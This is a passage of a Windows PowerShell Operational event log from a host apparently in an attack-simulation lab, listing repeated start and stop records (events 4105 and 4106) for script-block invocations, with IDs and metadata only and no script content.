SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037201
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037200
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037199
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037198
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037181
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037175
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
